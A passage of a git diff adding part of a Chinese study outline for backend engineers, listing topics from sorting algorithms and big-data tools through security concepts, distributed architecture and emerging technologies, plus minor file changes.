+ * 桶排序
+ * 计数排序
+ * 归并排序
+ * 原地归并排序
+ * 二叉排序树排序
+ * 鸽巢排序
+ * 基数排序
+ * 侏儒排序
+ * 图书馆排序
+ * 块排序
+
+ * 不稳定的排序算法
+ * 选择排序
+ * 希尔排序
+ * Clover排序算法
+ * 梳排序
+ * 堆排序
+ * 平滑排序
+ * 快速排序
+ * 内省排序
+ * 耐心排序
+
+ * 各种排序算法和时间复杂度
+
+ * 深度优先和广度优先搜索
+
+ * 全排列
+
+ * 贪心算法
+
+ * KMP算法
+
+ * hash算法
+
+ * 海量数据处理
+
+ * 分治
+ * hash映射
+ * 堆排序
+ * 双层桶划分
+ * Bloom Filter
+ * bitmap
+ * 数据库索引
+ * mapreduce等。
+
+ * 大数据知识
+
+ * 搜索
+
+ * Solr
+
+ * Lucene
+
+ * ElasticSearch
+
+ * 流式计算
+
+ * Storm
+
+ * Spark
+
+ * Flink
+
+ * Hadoop,离线计算
+
+ * HDFS
+
+ * MapReduce
+
+ * 分布式日志收集
+
+ * flume
+
+ * kafka
+
+ * logstash
+
+ * 数据挖掘
+
+ * mahout
+
+ * 网络安全知识
+
+ * XSS
+
+ * XSS的防御
+
+ * CSRF
+
+ * 注入攻击
+
+ * SQL注入
+ * XML注入
+ * CRLF注入
+
+ * 文件上传漏洞
+
+ * 加密与解密
+
+ * 对称加密
+ * 非对称加密
+ * 哈希算法
+ * 加盐哈希算法
+
+ * 加密算法
+
+ * MD5,SHA1、DES、AES、RSA、DSA
+
+ * 彩虹表
+
+ * DDOS攻击
+
+ * DOS攻击
+ * DDOS攻击
+
+ * memcached为什么可以导致DDos攻击
+
+ * 什么是反射型DDoS
+
+ * 如何通过Hash碰撞进行DOS攻击
+
+ * SSL、TLS,HTTPS
+
+ * 脱库、洗库、撞库
+
+* 架构篇
+
+ * 架构设计原则
+
+ * 单一职责原则
+
+ * 开放封闭原则
+
+ * 里氏替代原则
+
+ * 依赖倒置原则
+
+ * 接口分离原则
+
+ * 分布式
+
+ * 分布式理论
+
+ * 2PC
+
+ * 3PC
+
+ * CAP
+
+ * BASE
+
+ * 分布式协调 Zookeeper
+
+ * 基本概念
+
+ * 常见用法
+
+ * ZAB算法
+
+ * 脑裂
+
+ * 分布式事务
+ * 本地事务&分布式事务
+
+ * 可靠消息最终一致性
+
+ * 最大努力通知
+
+ * TCC
+
+ * Dubbo
+
+ * 服务注册
+ * 服务发现
+ * 服务治理
+
+ * 分布式数据库
+
+ * 怎样打造一个分布式数据库
+
+ * 什么时候需要分布式数据库
+
+ * mycat
+
+ * otter
+
+ * HBase
+
+ * 分布式文件系统
+
+ * mfs
+ * fastdfs
+
+ * 分布式缓存
+
+ * 缓存一致性
+ * 缓存命中率
+ * 缓存冗余
+
+ * 限流降级
+
+ * 熔断器模式
+
+ * Hystrix
+
+ * Sentinal
+
+ * resilience4j
+
+ * 分布式算法
+
+ * 拜占庭问题与算法
+
+ * 2PC
+
+ * 3PC
+
+ * 共识算法
+
+ * Paxos 算法与 Raft 算法
+
+ * ZAB算法
+
+ * 领域驱动设计
+
+ * 实体、值对象
+
+ * 聚合、聚合根
+
+ * 限界上下文
+
+ * DDD如何分层
+
+ * 充血模型和贫血模型
+
+ * DDD和微服务有什么关系
+ * 微服务
+
+ * SOA
+
+ * 康威定律
+
+ * ServiceMesh
+
+ * sidecar
+
+ * Docker & Kubernets
+
+ * Spring Boot
+
+ * Spring Cloud
+
+ * 高并发
+
+ * 分库分表
+
+ * 横向拆分与水平拆分
+
+ * 分库分表后的分布式事务问题
+
+ * CDN技术
+
+ * 消息队列
+
+ * RabbitMQ、RocketMQ、ActiveMQ、Kafka
+
+ * 各个消息队列的对比
+
+ * 高可用
+
+ * 双机架构
+
+ * 主备复制
+
+ * 主从复制
+
+ * 主主复制
+
+ * 异地多活
+
+ * 预案
+
+ * 预热
+
+ * 限流
+
+ * 高性能
+
+ * 高性能数据库
+
+ * 读写分离
+
+ * 分库分表
+
+ * 高性能缓存
+
+ * 缓存穿透
+
+ * 缓存雪崩
+
+ * 缓存热点
+
+ * 负载均衡
+
+ * PPC、TPC
+
+ * 监控
+
+ * 监控什么
+
+ * CPU
+
+ * 内存
+
+ * 磁盘I/O
+
+ * 网络I/O
+
+ * 监控手段
+
+ * 进程监控
+
+ * 语义监控
+
+ * 机器资源监控
+
+ * 数据波动
+
+ * 监控数据采集
+
+ * 日志
+ * 埋点
+
+ * Dapper
+
+ * 负载均衡
+
+ * 负载均衡分类
+
+ * 二层负载均衡
+
+ * 三层负载均衡
+
+ * 四层负载均衡
+
+ * 七层负载均衡
+
+ * 负载均衡工具
+
+ * LVS
+
+ * Nginx
+
+ * HAProxy
+
+ * 负载均衡算法
+
+ * 静态负载均衡算法:轮询,比率,优先权
+
+ * 动态负载均衡算法: 最少连接数,最快响应速度,观察方法,预测法,动态性能分配,动态服务器补充,服务质量,服务类型,规则模式。
+
+ * DNS
+
+ * DNS原理
+
+ * DNS的设计
+
+ * CDN
+
+ * 数据一致性
+
+* 扩展篇
+
+ * 云计算
+
+ * IaaS
+
+ * SaaS
+
+ * PaaS
+
+ * 虚拟化技术
+
+ * openstack
+
+ * Serverlsess
+
+ * 搜索引擎
+
+ * Solr
+
+ * Lucene
+
+ * Nutch
+
+ * Elasticsearch
+
+ * 权限管理
+
+ * Shiro
+
+ * 区块链
+
+ * 哈希算法
+ * Merkle树
+ * 公钥密码算法
+ * 共识算法
+ * Raft协议
+ * Paxos 算法与 Raft 算法
+ * 拜占庭问题与算法
+ * 消息认证码与数字签名
+
+ * 比特币
+
+ * 挖矿
+ * 共识机制
+ * 闪电网络
+ * 侧链
+ * 热点问题
+ * 分叉
+
+ * 以太坊
+
+ * 超级账本
+
+ * 人工智能
+
+ * 数学基础
+ * 机器学习
+ * 人工神经网络
+ * 深度学习
+ * 应用场景
+
+ * 常用框架
+
+ * TensorFlow
+ * DeepLearning4J
+
+ * IoT
+
+ * 量子计算
+
+ * AR & VR
+
+ * 其他语言
+
+ * Groovy
+
+ * Kotlin
+
+ * Python
+
+ * Go
+
+ * NodeJs
+
+ * Swift
+
+ * Rust
\ No newline at end of file
diff --git a/mind-map/.DS_Store b/mind-map/.DS_Store
deleted file mode 100644
index 5008ddfc..00000000
Binary files a/mind-map/.DS_Store and /dev/null differ
diff --git a/pics/book.jpeg b/pics/book.jpeg
new file mode 100644
index 00000000..73a855ec
Binary files /dev/null and b/pics/book.jpeg differ